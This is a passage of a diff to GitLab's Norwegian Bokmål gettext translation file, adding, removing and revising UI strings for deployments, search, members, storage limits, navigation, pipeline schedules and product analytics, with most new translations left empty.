+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr "Komponentnavn"
msgid "Dependencies|Dependency path"
msgstr "Avhengighets-filbane"
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr "Eksporter som JSON"
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr "DevOps-adopsjon"
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr "E-post:"
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr "Utløper"
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr "Utløper den"
-
msgid "Expires:"
msgstr "Utløper:"
@@ -16491,9 +16682,6 @@ msgstr "Utforsk offentlige prosjekter"
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr "Eksporter"
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr "Filtrer etter"
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,18 +17744,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
+msgid "ForksDivergence|Fork has diverged from upstream repository"
+msgstr ""
+
msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
msgid "Format: %{dateFormat}"
msgstr "Format: %{dateFormat}"
-msgid "Found errors in your %{gitlab_ci_yml}:"
-msgstr "Fant feil i din %{gitlab_ci_yml}:"
-
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr "Fant feil i din .gitlab-ci.yml:"
-
msgid "Framework successfully deleted"
msgstr ""
@@ -17669,6 +17848,9 @@ msgstr "GPG-nøkkel-ID:"
msgid "GPG Keys"
msgstr "GPG-nøkler"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr "GPG-nøkler lar deg bekrefte signerte commiter."
@@ -18327,9 +18509,6 @@ msgstr "Ã… sette i gang med utgivelser"
msgid "Git"
msgstr "Git"
-msgid "Git GC period"
-msgstr "Git-GC-periode"
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr "Globale hurtigtaster"
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr "Fletteforespørsler tildelt til meg"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr "Resultatene er oppdatert. %{count} resultater tilgjengelig. Bruk ↑- og ↓-piltastene for å navigere i søkeresultatlisten, eller ENTER for å sende inn."
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "Søk på GitLab"
@@ -18809,9 +19003,15 @@ msgstr "GlobalSearch|Søkeresultater lastes inn"
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr "Det oppsto en feil under henting av forslag til autofullføring av søk."
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "Skriv inn og trykk Enter-tasten for å sende inn et søk."
@@ -19136,6 +19336,12 @@ msgstr "Gruppen %{group_name} ble planlagt for sletting."
msgid "Group %{group_name} was successfully created."
msgstr "Gruppen %{group_name} ble vellykket opprettet."
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,8 +19504,8 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr "Nylig aktivitet"
-msgid "GroupImport|Failed to import group."
-msgstr "Mislyktes i å importere gruppe."
+msgid "GroupImport|Failed to import group: %{error}"
+msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
msgstr "'%{group_name}'-gruppen blir importert."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "Ingen grupper ble funnet"
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr "Importer gruppe"
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr "Ingen importalternativer er tilgjengelige"
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr "Personlig tilgangssjetong"
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "Feil under importering av «%{project_safe_import_url}»-kodelageret til %{project_full_path} - %{message}"
msgid "ImportProjects|Import repositories"
msgstr "Importer kodelagre"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr "Importering av prosjektet mislyktes"
@@ -22006,7 +22251,7 @@ msgstr "Innsikter"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -22944,7 +23201,7 @@ msgid "IssueBoards|Switch board"
msgstr "Bytt bord"
msgid "IssueList|created %{timeAgoString} by %{user}"
-msgstr "IssueList|opprettet %{timeAgoString} av %{user}"
+msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr "Tilpasset sakssporer"
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr "Kubernetes-klynger"
msgid "Kubernetes cluster"
msgstr "Kubernetes-klynge"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr "Nyeste rørledning"
msgid "Last Seen"
msgstr "Sist sett"
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr "Sist brukt"
@@ -24231,6 +24485,9 @@ msgstr "Lær mer"
msgid "Learn More."
msgstr "Les mer."
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr "Lær mer om å signere commiter"
-
msgid "Learn more in the"
msgstr "Lær mer i"
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Gjør alle på teamet ditt mer produktive, uansett hvor de befinner seg. GitLab Geo oppretter skrivebeskyttede speilinger av din GitLab-instans, slik at du kan redusere tiden det tar å klone og hente store kodelagre."
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr "Merk denne saken som relatert til en annen sak"
msgid "Mark to do as done"
msgstr "Merk oppgaven som ferdig"
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr "Markdown-hjelp"
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr "Medlemskap"
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr "%{time} av %{user}"
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr "2FA"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr "Direkte"
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr "Skrudd av"
@@ -25708,6 +25986,9 @@ msgstr "Arvet"
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr "Søk i grupper"
msgid "Members|Search invited"
msgstr "Søk i inviterte"
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr "Nekt tilgang"
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Ingen filer ble funnet"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr "Melding"
msgid "Messages"
msgstr "Meldinger"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr "Metode"
@@ -26510,6 +26803,12 @@ msgstr "Søk i milepæler"
msgid "MilestoneCombobox|Select milestone"
msgstr "Velg milepæl"
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "Lukket:"
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr "Navn"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr "Navnet kan ikke være blankt"
@@ -26939,6 +27244,9 @@ msgstr "Navnet har allerede blitt tatt"
msgid "Name is already taken."
msgstr "Navnet er allerede tatt."
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Navnet på nytt stempel"
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Hjelp"
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr "Ny katalog"
-msgid "New discussion"
-msgstr "Ny diskusjon"
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr "Ingen etikett"
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr "Ingen lisens. Alle rettigheter forbeholdt"
-
msgid "No matches found"
msgstr "Ingen treff"
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr "Normal tekst"
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -27771,7 +28121,7 @@ msgid "NoteForm|Note"
msgstr "Notis"
msgid "NoteToolbar|Supports %{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd}. For %{quickActionsDocsLinkStart}quick actions%{quickActionsDocsLinkEnd}, type %{keyboardStart}/%{keyboardEnd}."
-msgstr "NoteToolbar|Støtter %{markdownDocsLinkStart}Markdown%{markdownDocsLinkEnd}. For %{quickActionsDocsLinkStart}hurtighandlinger%{quickActionsDocsLinkEnd}, tast %{keyboardStart}/%{keyboardEnd}."
+msgstr ""
msgid "Notes"
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Okt"
@@ -28718,6 +29074,9 @@ msgstr "En eller flere av avhengighetsfilene dine er ikke støttet, og avhengigh
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr "Helm"
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr "Beklager, filteret ditt ga ingen resultater"
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr "Parent"
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Alle"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Inaktive"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Velg hvilket innhold du vil se på et prosjekts oversiktsside."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr "Utformingsbredde"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr "Må være et nummer mellom %{min} og %{max}"
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr "Syntaksfremhevingstema"
msgid "Preferences|Tab width"
msgstr "Fanebredde"
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr "Denne innstillingen lar deg tilpasse oppførselen til systemoppsettet og
msgid "Preferences|Time preferences"
msgstr "Tidspreferanser"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr "Bruk relative tidspunkter"
@@ -31396,6 +31758,9 @@ msgstr "Privat(e) gruppe(r)"
msgid "Private profile"
msgstr "Privatprofil"
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr "Fortsett"
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
